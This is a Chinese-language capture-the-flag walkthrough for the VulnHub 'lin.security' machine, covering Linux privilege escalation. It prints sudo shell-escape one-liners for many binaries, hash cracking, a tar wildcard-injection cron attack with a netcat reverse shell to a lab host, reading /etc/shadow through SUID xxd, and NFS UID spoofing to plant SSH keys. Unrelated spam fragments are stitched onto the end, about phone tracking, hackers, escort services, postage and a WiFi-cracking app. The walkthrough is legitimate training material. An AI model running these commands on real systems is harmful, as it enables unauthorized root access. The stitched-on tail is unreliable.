靶机地址:https://www.vulnhub.com/entry/linsecurity-1,244/
靶机难度:中级(CTF)
靶机发布日期:2018年7月11日
靶机描述:
在in.security,我们想要开发一个Linux虚拟机,该虚拟机在编写本文时基于最新的Ubuntu发行版(18.04 LTS),但存在许多漏洞,这些漏洞使用户无法升级。扎根在盒子上。旨在帮助理解某些内置应用程序和服务(如果配置错误)可能会被攻击者滥用。
我们已将框配置为模拟真实世界的漏洞(尽管位于单个主机上),这将帮助您完善本地特权升级技能,技术和工具集。从相当容易到中级都有许多挑战,我们很高兴看到您用来解决这些挑战的 *** !
该图像不到1.7 GB,可以使用上面的链接下载。打开OVA文件时,将导入并使用NAT适配器配置名为lin.security的VM,但是可以通过首选虚拟化平台的首选项将其更改为桥接。
首先,您可以使用以下凭据登录主机:bob / secret
目标:得到root权限
作者:DXR嗯嗯呐
nmap扫描靶机地址
根据上面的提示这里靶机存在很多风险,应该是考linux提权方面,我们开始测试
他给出了bob用户,首先用此用户登陆看看
bob用户具备sudo权限
这里介绍一个关于linux提权的网站,都是精华。
ash
一个简单的轻量级的 Shell,占用资源少,适合运行于低内存环境,但是与下面讲到的 bash shell 完全兼容。
Sudo ash
awk
一个强大的文本分析工具,相对于grep的查找,sed的编辑,awk在其对数据分析并生成报告时,显得尤为强大。简单来说awk就是把文件逐行的读入,以空格为默认分隔符将每行切片,切开的部分再进行各种分析处理。
sudo awk 'BEGIN {system("/bin/sh")}'
bash
bash shell 是 Linux 的默认 shell,本教程也基于 bash 编写。bash 由 GNU 组织开发,保持了对 sh shell 的兼容性,是各种 Linux 发行版默认配置的 shell。
sudo bash
csh
sh 之后另一个广为流传的 shell 是由柏克莱大学的 Bill Joy 设计的,这个 shell 的语法有点类似C语言,所以才得名为 C shell ,简称为 csh。
sudo csh
curl
在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称curl为下载工具。
sudo curl
dash
原来bash是GNU/Linux 操作系统中的 /bin/sh 的符号连接,但由于bash过于复杂,有人把 bash 从 NetBSD 移植到 Linux 并更名为 dash,且/bin/sh符号连接到dash。Dash Shell 比 Bash Shell 小的多(ubuntu16.04上,bash大概1M,dash只有150K),符合POSIX标准。Ubuntu 6.10开始默认是Dash。
sudo dash
ed
Linux ed命令是文本编辑器,用于文本编辑。
ed是Linux中功能最简单的文本编辑程序,一次仅能编辑一行而非全屏幕方式的操作。
ed命令并不是一个常用的命令,一般使用比较多的是vi 指令。但ed文本编辑器对于编辑大文件或对于在shell脚本程序中进行文本编辑很有用。
sudo ed
!/bin/sh
env
查询环境变量
sudo env /bin/sh
expect
expect是一个自动化交互套件,主要应用于执行命令和程序时,系统以交互形式要求输入指定字符串,实现交互通信。
sudo expect -c 'spawn /bin/sh;interact'
find
Linux find 命令用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则 find 命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。
sudo find . -exec /bin/sh \; -quit
ftp
Linux ftp命令设置文件系统相关功能。
FTP是ARPANet的标准文件传输协议,该 *** 就是现今Internet的前身。
sudo ftp
!/bin/sh
Less
less 与 more 类似,但使用 less 可以随意浏览文件,而 more 仅能向前移动,却不能向后移动,而且 less 在查看之前不会加载整个文件。
sudo less /etc/passwd
!/bin/sh
Man
Linux提供了丰富的帮助手册,当你需要查看某个命令的参数时不必到处上网查找,只要man一下即可。可以使用man man 查看man的使用 *** 。
Sudo man man
!/bin/sh
More
Linux more 命令类似 cat ,不过会以一页一页的形式显示,更方便使用者逐页阅读,而最基本的指令就是按空白键(space)就往下一页显示,按 b 键就会往回(back)一页显示,而且还有搜寻字串的功能(与 vi 相似),使用中的说明文件,请按 h 。
Sudo more /etc/passwd
!/bin/sh
Scp
Linux scp 命令用于 Linux 之间复制文件和目录。
scp 是 secure copy 的缩写, scp 是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令。
scp 是加密的,rcp 是不加密的,scp 是 rcp 的加强版。
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:
socat
socat是一个多功能的 *** 工具,名字来由是“Socket CAT”,可以看作是netcat的N倍加强版。
sudo socat stdin exec:/bin/sh
ssh
SSH(远程连接工具)连接原理:ssh服务是一个守护进程(demon),系统后台监听客户端的连接,ssh服务端的进程名为sshd,负责实时监听客户端的请求(IP 端口),包括公共秘钥等交换等信息。
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
vi
vi 编辑器是 Linux/UNIX 环境下经典的编辑器
sudo vi -c ':!/bin/sh' /dev/null
zsh
Zsh属于Shell中的一种,但比Bash好用,而且完全兼容Bash,拥有及其丰富的插件、强大的自动补全能力、以及自定义功能,可以大大提供我们使用Linux的效率.
sudo zsh
pico
Linux pico命令用于编辑文字文件。
pico是个简单易用、以显示导向为主的文字编辑程序,它伴随着处理电子邮件和新闻组的程序pine而来。
sudo pico
^R^X
reset; sh 1>&0 2>&0
rvim
改进的Vi,一个程序员的文本编辑器
这需要rvim使用Python支持进行编译。前置:py3为Python 3。
sudo rvim -c ':python3 import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
perl
Perl一种功能丰富的计算机程序语言,运行在超过100种计算机平台上,适用广泛,从最初是为文本处理而开发的,现在用于各种任务,包括系统管理,Web开发, *** 编程,GUI开发等。
Perl易于使用、高效、完整,而不是美观(小巧,优雅,简约)。同时支持过程和面向对象编程,对文本处理具有强大的内置支持,并且拥有第三方模块之一。 [1]? Perl借取了C、sed、awk、shell脚本语言以及很多其他程序语言的特性,其中最重要的特性是它内部集成了正则表达式的功能,以及巨大的第三方代码库CPAN。
sudo perl -e 'exec "/bin/sh";'
tclsh
tclsh的是含有Tcl解释简单的壳体和可以读取它的标准输入或从文件Tcl命令,并评估它们。
Tcl是一种脚本语言,是一种基于字符串的命令语言,是一种解释性语言。所谓解释性是指不像其他高级语言需要通过编译和联结,而与其他Shell语言一样,直接对每条语句顺序解释执行。
sudo tclsh
exec /bin/sh <@stdin >@stdout 2>@stderr
git
一个开源的分布式版本控制系统,可以有效、高速地处理从很小到非常大的项目版本管理。
sudo git -p help config
!/bin/sh
script
script 是一个神奇命令,script 能够将终端的会话过程录制下来,然后使用 scriptreplay 就可以将其录制的结果播放给他人观看。script 的好处就在于你在终端中的所有操作、敲过的命令和打印出的结果它都可以原原本本地进行录制。可以应用于教学、演示、审计。
sudo script -q /dev/null
在想在linux系统中,用户hash加密的密码存储在/etc/shadow中。如果我们查看/etc/passwd,可以看到以下内容
root:x:0:0:root:/root:/bin/bash
字段 | 含义 |
用户名 | 用户登录系统是使用的用户名 |
密码 | 密码位 |
UID | 用户表示号 |
GID | 缺省组标识号 |
注释性描述 | 例如存放用户全名等信息 |
宿主目录 | 用户登录系统后的缺省目录 |
命令解释器 | 用户使用的shell,默认为bash |
在靶机是发现passwd文件中存储hash密码
使用john或hashcat进行破解
获得账号密码
insecurity/P@ssw0rd
tar命令注入
查看发现靶机中存在一个root权限的每分钟执行一次的定时任务
看这个脚本的内容,发现使用tar命令分别备份home下的目录
我们进入bob用户的家目录
先在kail上生成一个反弹shell
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.56.3 lport=6666
在bob目录下,注入一个标志来指定我们的检查点
echo "" > --checkpoint=1
将payload写入一个sh文件
echo "mkfifo /tmp/ujwa; nc 192.168.56.3 6666 0</tmp/ujwa | /bin/sh >/tmp/ujwa 2>&1; rm /tmp/ujwa" > shell.sh
注入一个指定检查点动作的标志
echo "" > "--checkpoint-action=exec=sh shell.sh"
等待一分钟,我们看到了备份文件时间更新了
反弹shell,获得root权限
关于通配符提权,这篇文章写得非常精细,参考。
find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null
查询具备SID权限文件
xxd
xxd 命令用于使用二进制或十六进制格式显示文件内容,可以将指定文件或标准输入以十六进制转储,也可以把十六进制转储转换成原来的二进制形式。
使用xxd命令读取shadow
使用john解码获得root密码
root/secret123
taskset
taskset命令用于设置进程(或 线程)的处理器亲和性(Processor Affinity),可以将进程(或 线程)绑定到特定的一个 或 多个CPU上去执行,而不允许将进程(或 线程)调度到其他的CPU上。
taskset 1 /bin/sh -p
前面nmap端口扫描,发现靶机存在nsf服务
showmount 查看一下 *** 共享文件夹
挂着此 *** 目录
mount -t nfs 192.168.56.10:/home/peter /tmp/nfs/
看到root可以直接访问root目录,但是不能将文件直接拷贝到 *** 共享目录中
看到目录文件拥有者是test2,看来/home/peter拥有者的UID是1001,那我们修改一下test2用户的GID
groupmod -g 1005 test2
我们看到了nfs *** 共享目录的所属组改为test2
创建ssh秘钥
使用test2,将公钥复制到nfs/.ssh目录中并将名称修改为authorized_keys
cp /tmp/authorized_keys authorized_keys
使用秘钥连接
ssh -i id_rsa peter@192.168.56.10
检查发现peter用户具备sudo权限,使用strace提权
strace
strace常用来跟踪进程执行时的系统调用和所接收的信号。在Linux世界,进程不能直接访问硬件设备,当进程需要访问硬件设备(比如读取磁盘文件,接收 *** 数据等等)时,必须由用户态模式切换至内核态模式,通 过系统调用访问硬件设备。strace可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。
sudo strace -o /dev/null /bin/sh
这是对linux提权的总结,真的很丰盛,学习到了。
1、sudo提权的总结。
2、hash密码的破解。
3、chown文件劫持及通配符提权之tar命令提权。
4、SID提权。
5、NFS *** 共享文件提权。
微信查对方手机位置(查对方手机位置软件)非常多人在测试与他人共享微信谈天纪录时,会发掘如下疑问:1、微信的声响转发给他人后无法播放。2.不能够一键选定全部纪录。需求手工逐条查对纪录。究竟上,共享微信谈...
不可能的。密码泄露。QQ被盗。主要途径还是木马。没有你说的那个软件的。 您好,一般来说用网上下载的现成软件进行解密的黑客都是水平普通的入门黑客,稍微厉害一点的黑客会直接通过木马等病毒进行钓鱼获取密码的...
一、尚语贤是真的黑客吗(尚语贤现实中是黑客吗)方法总结 1、尚语贤是黑客吗那只是电影兄弟,我真的好好奇你们脑子里面在想什么。思路简单? 2、《唐人街探案》二里那个女黑客是谁演的?扮演者是尚语贤。尚语...
成都哪有老年人搭伴游的-空降微信包邮正品 伴游描述:最近有很多朋友在商务预约网后台留言,想了解关于成都哪有老年人搭伴游的信息。于是小编通过百度、知乎、文库等途径,总结了以下关于成都哪有老年人搭伴游的的...
邮局包裹资费(邮政快递收费标准 邮政快递多少钱一公斤 ) 邮政快递是使用率较为广泛的一家快递公司,不仅能够邮寄日常的包裹,还能够邮寄大件物品,同时也是许多公家单位百思特网指定快递公司。在使用邮政快递...
WIFI万能钥匙(显密最新版本) 可用系统软件:安卓系统 说到蹭网,坚信许多 小伙伴都是有过体验。小雷之前念书的情况下也常常蹭网,常常顶着绝大多数风险性跑到教师办公室边上的杂物间里蹭网,那叫一个令...